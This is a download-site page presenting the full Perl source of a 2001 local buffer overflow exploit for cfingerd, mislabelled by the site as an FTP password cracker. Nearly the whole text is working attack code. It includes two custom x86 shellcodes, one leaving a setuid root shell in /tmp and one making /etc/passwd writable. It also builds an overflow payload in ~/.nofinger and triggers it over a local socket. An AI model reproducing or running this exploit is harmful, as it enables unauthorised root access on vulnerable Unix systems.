⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cfingerd-exploit.pl

📁 一个FTP密码破解程序的源代码
💻 PL
字号:
#!/usr/bin/perl# | Local buffer overflow exploit for cfingerd# | Copyright (c) 2001 by <teleh0r@digit-labs.org># | All rights reserved.# |# | Simple exploit for the vulnerability reported# | to bugtraq by Steven Van Acker.# | http://www.securityfocus.com/archive/1/192844# |# | If cfingerd does not run as root, the exploit# | will of course fail!# |# | http://www.digit-labs.org/teleh0r/use Socket; use File::Copy;use Getopt::Std; getopts('s:p:o:', \%arg);if (defined($arg{'s'})) { $sjell  = $arg{'s'} }if (defined($arg{'p'})) { $port   = $arg{'p'} }if (defined($arg{'o'})) { $offset = $arg{'o'} }# shellcodes written by myself especially for# this exploit.# 34 bytes$shellcode1 =  "\x31\xdb".                # xor  ebx, ebx  "\x31\xc9".                # xor  ecx, ecx  "\xf7\xe3".                # mul  ebx  "\x52".                    # push edx  "\x68\x2f\x2f\x79\x30".    # push dword 0x30792f2f  "\x68\x2f\x74\x6d\x70".    # push dword 0x706d742f  "\x89\xe3".                # mov  ebx, esp  "\xb0\xb6".                # mov  al, 0xb6  "\xcd\x80".                # int  0x80  "\x66\xb9\xed\x0d".        # mov  cx, 0xded  "\xb0\x0f".                # mov  al, 0xf  "\xcd\x80".                # int  0x80  "\x40".                    # inc  eax  "\xcd\x80";                # int  0x80# 35 bytes$shellcode2 =  "\xeb\x10".                # jmp  short file  "\x5b".                    # pop  ebx  "\x31\xc9".                # xor  ecx, ecx  "\xf7\xe1".                # mul  ecx  "\x66\xb9\xa6\x01".        # mov  cx, 0x1a6  "\xb0\x0f".                # mov  al, mov  "\xcd\x80".                # int  0x80  "\x40".                    # inc  eax  "\xcd\x80".                # int  0x80  "\xe8\xeb\xff\xff\xff".    # call code  "/etc/passwd".             # string  "\x00";                    # null terminate# cfingerd does not drop privileges before the # vulnerable code kicks in, therefore no need # to use setuid(0);if (!(defined($sjell))||$sjell !~ m/^(1|2)$/) {&usage}$shellcode = $sjell == 1 ? $shellcode1 : $shellcode2;$port  ||= 2003;$user    = getlogin() || getpwuid($<);$return  = 0xbffff46c;$length  = 88;$kewlnop = 'K';$homedir = (getpwnam($user))[7];printf("Address: %#lx\n", ($return + $offset));&do_checkz;if (connect_host('127.0.0.1', $port)) {    &prepare_attack;    send(SOCKET, "$user\015\012", 0);    close(SOCKET);    sleep(1);     &do_checkz;    die("Sorry, exploit failed - check the values.\n");}sub prepare_attack {    for ($i = 0; $i < ($length - 2 - 4); $i++) {	$buffer .= $kewlnop;    }        #<82'nops'><jmp 0x4><retaddr><shellcode>    $buffer .= "\xeb\x04";    $buffer .= pack('l', ($return + $offset));    $buffer .= $shellcode;    if (-e("$homedir/.nofinger")) { # I am nice, huh?	copy("$homedir/.nofinger", "$homedir/.nofinger.BAK");    }        open(FILE, ">$homedir/.nofinger") || die("Error: $!\n");    print(FILE "\$$buffer\n");    close(FILE);    }	sub do_checkz {    if ($sjell == '1') {	if (-u("/tmp/y0") && (stat("/tmp/y0"))[4,5] == '0') {	    print("Exploit attempt succeeded!\n");	    exec("/tmp/y0");	    	} elsif (stat("/tmp/y0") == '0') {	    copy("/bin/sh", "/tmp/y0") || die("Error: $!\n");	}    } elsif ($sjell == '2') {	if (-w("/etc/passwd")) {	    ($perm) = (split(/\s/,`ls -la /etc/passwd`))[0];	    print("Success: /etc/passwd $perm\n");	    exit(0);	}    } }sub usage {system("clear");# below layout style stolen from qitest1 xinetd exploit ;)# werd!print(qq(cfingerd <= 1.4.3-8 local exploit by teleh0rAll rights reserved.Usage: $0 [options]Options:  -s shellcode  - see below  -p port       - 2003 default  -o offset Available shellcodes:  1\) root shell in /tmp  2\) writable /etc/passwd));exit(1);}sub connect_host {    ($target, $port) = @_;    $iaddr  = inet_aton($target)                 || die("Error: $!\n");    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");    $proto  = getprotobyname('tcp')              || die("Error: $!\n");    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");    connect(SOCKET, $paddr)                      || die("Error: $!\n");    return(1);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -